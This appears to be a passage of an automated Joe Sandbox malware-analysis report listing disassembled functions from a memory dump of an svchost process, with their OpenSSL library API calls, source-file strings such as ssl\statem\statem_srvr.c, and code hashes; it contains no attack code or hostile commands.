ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B0BF
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49B0D7
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B1F0
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B214
OPENSSL_sk_dup.LIBCRYPTO-3-X64 ref: 00007FFBAB49B220
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B233
OPENSSL_sk_dup.LIBCRYPTO-3-X64 ref: 00007FFBAB49B23F
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B281
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49B299
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B2D1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49B2E9
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49B303
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB49B319
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49B32F
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B34A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49B362
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B3B1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49B3C9
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49B403
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB49B41B
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B491
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49B4A6
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B4F7
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B500
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B519
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49B532

Strings

ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49A928, 00007FFBAB49A9CE, 00007FFBAB49A9F8, 00007FFBAB49AA56, 00007FFBAB49AACD, 00007FFBAB49AB08, 00007FFBAB49AB21, 00007FFBAB49ACCC, 00007FFBAB49ACF4, 00007FFBAB49AD1C, 00007FFBAB49AD66, 00007FFBAB49AEE2, 00007FFBAB49AF38, 00007FFBAB49B0D0, 00007FFBAB49B292, 00007FFBAB49B2E2, 00007FFBAB49B35B, 00007FFBAB49B3C2, 00007FFBAB49B50C, 00007FFBAB49B525
tls_early_post_process_client_hello, xrefs: 00007FFBAB49A91C, 00007FFBAB49A9C2, 00007FFBAB49A9EC, 00007FFBAB49AA4A, 00007FFBAB49AAC1, 00007FFBAB49AC30, 00007FFBAB49ACC5, 00007FFBAB49ACE8, 00007FFBAB49AD10, 00007FFBAB49AD5A, 00007FFBAB49AED6, 00007FFBAB49AF2C, 00007FFBAB49B0C9, 00007FFBAB49B286, 00007FFBAB49B2D6, 00007FFBAB49B34F, 00007FFBAB49B3B6
P, xrefs: 00007FFBAB49A8DE

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$L_sk_freeL_sk_num$L_sk_valueO_free$L_sk_dup$O_memcmpmemcmpmemcpy
String ID: P$ssl\statem\statem_srvr.c$tls_early_post_process_client_hello
API String ID: 642479057-77815245
Opcode ID: c447f6e93f942091da1cfdd80307a043e06866bcd382f3df36c028cff0107e0e
Instruction ID: 4fb428abde8c3e44dcbb5f3be11bdb9bcbee855efc1bdc1159571044b84d4b67
Opcode Fuzzy Hash: c447f6e93f942091da1cfdd80307a043e06866bcd382f3df36c028cff0107e0e
Instruction Fuzzy Hash: 48727AB1A0A78686EB629B31D4D52BD23A1FB44B48F14C432DE6D876B6DE3DE845C301

Function 00007FFBAB438140 Relevance: 91.3, APIs: 40, Strings: 12, Instructions: 255COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB438196
CRYPTO_realloc.LIBCRYPTO-3-X64 ref: 00007FFBAB4381B9
memset.VCRUNTIME140 ref: 00007FFBAB4381EF
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB43821A
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB438243
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB43825E
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB438287
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB4382A3
OSSL_PARAM_get_uint.LIBCRYPTO-3-X64 ref: 00007FFBAB4382B9
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB4382E3
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB43830C
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB438328
OSSL_PARAM_get_uint.LIBCRYPTO-3-X64 ref: 00007FFBAB43833D
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB438354
OSSL_PARAM_get_uint.LIBCRYPTO-3-X64 ref: 00007FFBAB438366
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB438378
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB43839A
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB4383C6
OSSL_PARAM_get_int.LIBCRYPTO-3-X64 ref: 00007FFBAB4383DB
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB4383F2
OSSL_PARAM_get_int.LIBCRYPTO-3-X64 ref: 00007FFBAB438407
OSSL_PARAM_locate_const.LIBCRYPTO-3-X64 ref: 00007FFBAB43841A
OSSL_PARAM_get_int.LIBCRYPTO-3-X64 ref: 00007FFBAB43842B
ERR_set_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB438439
EVP_KEYMGMT_free.LIBCRYPTO-3-X64 ref: 00007FFBAB438473
ERR_pop_to_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB438478
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB438482
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43848E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43849A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4384A6
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4384B2
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4384BE
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4384CA
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4384D6
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4384E2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4384FA
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB43850B
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB438525
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43853B
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB438551

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43818A, 00007FFBAB4381A4, 00007FFBAB438236, 00007FFBAB43827A, 00007FFBAB4382FF, 00007FFBAB4384F3, 00007FFBAB438518, 00007FFBAB43852E, 00007FFBAB438544
tls-group-name, xrefs: 00007FFBAB438201
tls-max-dtls, xrefs: 00007FFBAB438410
tls-group-is-kem, xrefs: 00007FFBAB43834A
tls-min-dtls, xrefs: 00007FFBAB4383E8
tls-group-sec-bits, xrefs: 00007FFBAB43831E
tls-max-tls, xrefs: 00007FFBAB4383BC
tls-group-name-internal, xrefs: 00007FFBAB438254
tls-min-tls, xrefs: 00007FFBAB43838D
add_provider_groups, xrefs: 00007FFBAB4384EC
tls-group-alg, xrefs: 00007FFBAB4382D5
tls-group-id, xrefs: 00007FFBAB438299

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: M_locate_constR_new$M_get_intM_get_uintO_freeO_strdup$O_mallocO_reallocR_pop_to_markR_set_debugR_set_errorR_set_markT_freememset
String ID: add_provider_groups$ssl\t1_lib.c$tls-group-alg$tls-group-id$tls-group-is-kem$tls-group-name$tls-group-name-internal$tls-group-sec-bits$tls-max-dtls$tls-max-tls$tls-min-dtls$tls-min-tls
API String ID: 1973439691-538443449
Opcode ID: 1a615cb7a5e931d0d5ccc9f0736496d10e9277377a0fbad70ecfd51b3f16c65c
Instruction ID: c4b21673c2bd0ae669c9c2a8fb7a315c8cd7de82e2ef49e6a491589bcc41fe97
Opcode Fuzzy Hash: 1a615cb7a5e931d0d5ccc9f0736496d10e9277377a0fbad70ecfd51b3f16c65c
Instruction Fuzzy Hash: 9DB1AEA6A0B61381FE66EB36D4811BC67A1AF84780F48C435DD2D46BFAEE2CF545C311

Function 00007FFBAB498414 Relevance: 82.7, APIs: 45, Strings: 2, Instructions: 462COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?), ref: 00007FFBAB49CEDB
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?), ref: 00007FFBAB49CEF3

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

OPENSSL_sk_new_null.LIBCRYPTO-3-X64(?,?,?), ref: 00007FFBAB49CF12
ERR_new.LIBCRYPTO-3-X64(?,?,?), ref: 00007FFBAB49CF20
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?), ref: 00007FFBAB49CF38
X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49D61B
OSSL_STACK_OF_X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49D624

Strings

tls_process_client_certificate, xrefs: 00007FFBAB49CEE0, 00007FFBAB49CF25, 00007FFBAB49D1E7, 00007FFBAB49D26A, 00007FFBAB49D292, 00007FFBAB49D2C4, 00007FFBAB49D2E7, 00007FFBAB49D30F, 00007FFBAB49D360, 00007FFBAB49D39A, 00007FFBAB49D407, 00007FFBAB49D441, 00007FFBAB49D491, 00007FFBAB49D5DC
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49CEEC, 00007FFBAB49CF31, 00007FFBAB49D1AF, 00007FFBAB49D1F3, 00007FFBAB49D24E, 00007FFBAB49D276, 00007FFBAB49D29E, 00007FFBAB49D2CB, 00007FFBAB49D2F3, 00007FFBAB49D31B, 00007FFBAB49D36C, 00007FFBAB49D3A6, 00007FFBAB49D413, 00007FFBAB49D44D, 00007FFBAB49D49D, 00007FFBAB49D5E8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugX509_free$L_sk_new_nullR_vset_error
String ID: ssl\statem\statem_srvr.c$tls_process_client_certificate
API String ID: 3750526228-3872095317
Opcode ID: 2245cf865578e7a48e5514ed147dcc870c3e1326ddd966a616d1f47169671059
Instruction ID: ce15aadebadb48cb442a423b9514c074bc6e13b97851f999dbccac4f2376d840
Opcode Fuzzy Hash: 2245cf865578e7a48e5514ed147dcc870c3e1326ddd966a616d1f47169671059
Instruction Fuzzy Hash: 3122C1A1A0AA8285F722DB75D4D12BC27A0EF44B88F54C035DE6D876BADF3CE595C301

Function 00007FFBAB47CB30 Relevance: 77.4, APIs: 39, Strings: 5, Instructions: 379COMMON

Download Yara Rule

APIs

EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFBAB47CB9D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47CBB5
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47CBCD

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47CC90
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB47CCAA
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB47CCC5
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB47CD51
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47CD5A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47CD72
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB47D1A2
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB47D1B4
EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47D1BC
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47D1C4

Strings

ext binder, xrefs: 00007FFBAB47CC45
res binder, xrefs: 00007FFBAB47CC3E
ssl\statem\extensions.c, xrefs: 00007FFBAB47CBC6, 00007FFBAB47CD6B, 00007FFBAB47CDD3, 00007FFBAB47CEC5, 00007FFBAB47CF01, 00007FFBAB47CFA6, 00007FFBAB47D0AE, 00007FFBAB47D0E5, 00007FFBAB47D119, 00007FFBAB47D152
HMAC, xrefs: 00007FFBAB47CF6E
tls_psk_do_binder, xrefs: 00007FFBAB47CBBA, 00007FFBAB47CD5F, 00007FFBAB47CDC7, 00007FFBAB47CEB9, 00007FFBAB47CEF5, 00007FFBAB47CF9A, 00007FFBAB47D0A2, 00007FFBAB47D0D9, 00007FFBAB47D10D, 00007FFBAB47D146

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Digest$Init_exL_cleanseR_newR_set_debug$D_get_sizeFinal_exR_vset_errorX_freeX_newY_free
String ID: HMAC$ext binder$res binder$ssl\statem\extensions.c$tls_psk_do_binder
API String ID: 1391125327-4250429628
Opcode ID: aa648eda198148f241356230853b77f506c39ac3c91fd7dc30166a0f7459d8b7
Instruction ID: fdace0ce5fbf1bc1cc988bb80e38864aeaac9c2eeb586ec9ab6d704808527702
Opcode Fuzzy Hash: aa648eda198148f241356230853b77f506c39ac3c91fd7dc30166a0f7459d8b7
Instruction Fuzzy Hash: 5CF191B2A1EB8281E766DB32D8557BE6351FB84784F408032DE6D47AA6DF3CD194C700

Function 00007FFBAB4322E0 Relevance: 77.3, APIs: 42, Strings: 2, Instructions: 278COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432380
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432398
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB4323A6
OPENSSL_sk_num.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB4323C3
OPENSSL_sk_value.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB4323D5
OPENSSL_sk_num.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432401
X509_get_pubkey.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432418
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432451
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432469
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB43247A
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432484
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB43249C
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB4324AB
EVP_PKEY_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,00007FFBAB430B3A), ref: 00007FFBAB432742

Strings

ssl_set_cert_and_key, xrefs: 00007FFBAB432385, 00007FFBAB432456, 00007FFBAB432489, 00007FFBAB4324D2, 00007FFBAB432514, 00007FFBAB43255F, 00007FFBAB4325A6, 00007FFBAB43260C, 00007FFBAB432654
ssl\ssl_rsa.c, xrefs: 00007FFBAB432391, 00007FFBAB432462, 00007FFBAB432495, 00007FFBAB4324DE, 00007FFBAB432520, 00007FFBAB43256B, 00007FFBAB4325B2, 00007FFBAB432618, 00007FFBAB432660

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$L_sk_num$L_sk_valueX509_get_pubkeyY_free
String ID: ssl\ssl_rsa.c$ssl_set_cert_and_key
API String ID: 5495268-424671516
Opcode ID: a1d7ba00e69706b45c3bd3fe9396481b6ccd245627e164c97f20f1ca8c06df68
Instruction ID: ad42026b311d22a17fd9cc109398995f22d1c65590f574a38cba4d4730b248ce
Opcode Fuzzy Hash: a1d7ba00e69706b45c3bd3fe9396481b6ccd245627e164c97f20f1ca8c06df68
Instruction Fuzzy Hash: 93C141B2A4AA5281FA62AB32D4926FE2350FF44B84F54C031DD7D477B6DE3CE54A8701

Function 00007FFBAB4969E0 Relevance: 68.7, APIs: 35, Strings: 4, Instructions: 420COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB496A73
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB496A82
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB496A9A
EVP_CIPHER_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB496AAA
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB496AB7
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB496ACF
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49706A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB497082
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4970AE
EVP_CIPHER_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4970B6

Strings

construct_stateless_ticket, xrefs: 00007FFBAB496A87, 00007FFBAB496ABC, 00007FFBAB496AF6, 00007FFBAB496BB9, 00007FFBAB496FD6, 00007FFBAB497033, 00007FFBAB497074
AES-256-CBC, xrefs: 00007FFBAB496C1B
SHA256, xrefs: 00007FFBAB496CAB
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB496A66, 00007FFBAB496A93, 00007FFBAB496AC8, 00007FFBAB496B02, 00007FFBAB496BC5, 00007FFBAB496F95, 00007FFBAB496FE2, 00007FFBAB49703F, 00007FFBAB49707B, 00007FFBAB4970A1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_mallocX_freeX_new
String ID: AES-256-CBC$SHA256$construct_stateless_ticket$ssl\statem\statem_srvr.c
API String ID: 1847107836-3117162005
Opcode ID: b75908480853a0a3d47656859823882674881c45ef64c2ec60f94bd00c315812
Instruction ID: bab8eeee8ac06c8036a965dafa07f0968830a44ebc42d7ffdd7dbf8dc52d6292
Opcode Fuzzy Hash: b75908480853a0a3d47656859823882674881c45ef64c2ec60f94bd00c315812
Instruction Fuzzy Hash: 2F026FA2B0E64385FB62DB72D4912BD23A1AF44784F40C432EE6D47AB6DF3DE5458341

Function 00007FFBAB41CB70 Relevance: 61.5, APIs: 32, Strings: 3, Instructions: 274COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(00000000,?,00007FFBAB426D26,?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB41CB92
CRYPTO_zalloc.LIBCRYPTO-3-X64(00000000,?,00007FFBAB426D26,?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB41CBBC
CRYPTO_free.LIBCRYPTO-3-X64(00000000,?,00007FFBAB426D26,?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB41CBDB
EVP_PKEY_up_ref.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CC37
X509_up_ref.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CC89
EVP_PKEY_up_ref.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CC9F
X509_chain_up_ref.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CCAD
CRYPTO_memdup.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CCD9
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CD22
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CD3E
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CD50
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CD68
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CD79
EVP_PKEY_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CD98
X509_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CDBA
EVP_PKEY_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CDC6
OSSL_STACK_OF_X509_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CDD3
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CDED
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE18
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE2E
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE44
X509_STORE_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE4D
X509_STORE_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE56
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE7B
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CE91
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CEA6
CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CEEB
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CF0B
CRYPTO_memdup.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CF38
X509_STORE_up_ref.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CF71
X509_STORE_up_ref.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CF87
CRYPTO_strdup.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FFBAB41CFF0

Strings

ssl\ssl_cert.c, xrefs: 00007FFBAB41CB8B, 00007FFBAB41CBA3, 00007FFBAB41CBD4, 00007FFBAB41CCCC, 00007FFBAB41CD12, 00007FFBAB41CD61, 00007FFBAB41CDDC, 00007FFBAB41CE0B, 00007FFBAB41CE21, 00007FFBAB41CE37, 00007FFBAB41CE6E, 00007FFBAB41CE84, 00007FFBAB41CE9C, 00007FFBAB41CEDB, 00007FFBAB41CF2B, 00007FFBAB41CFE9
ssl_cert_dup, xrefs: 00007FFBAB41CD55
gfffffff, xrefs: 00007FFBAB41CBEC

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

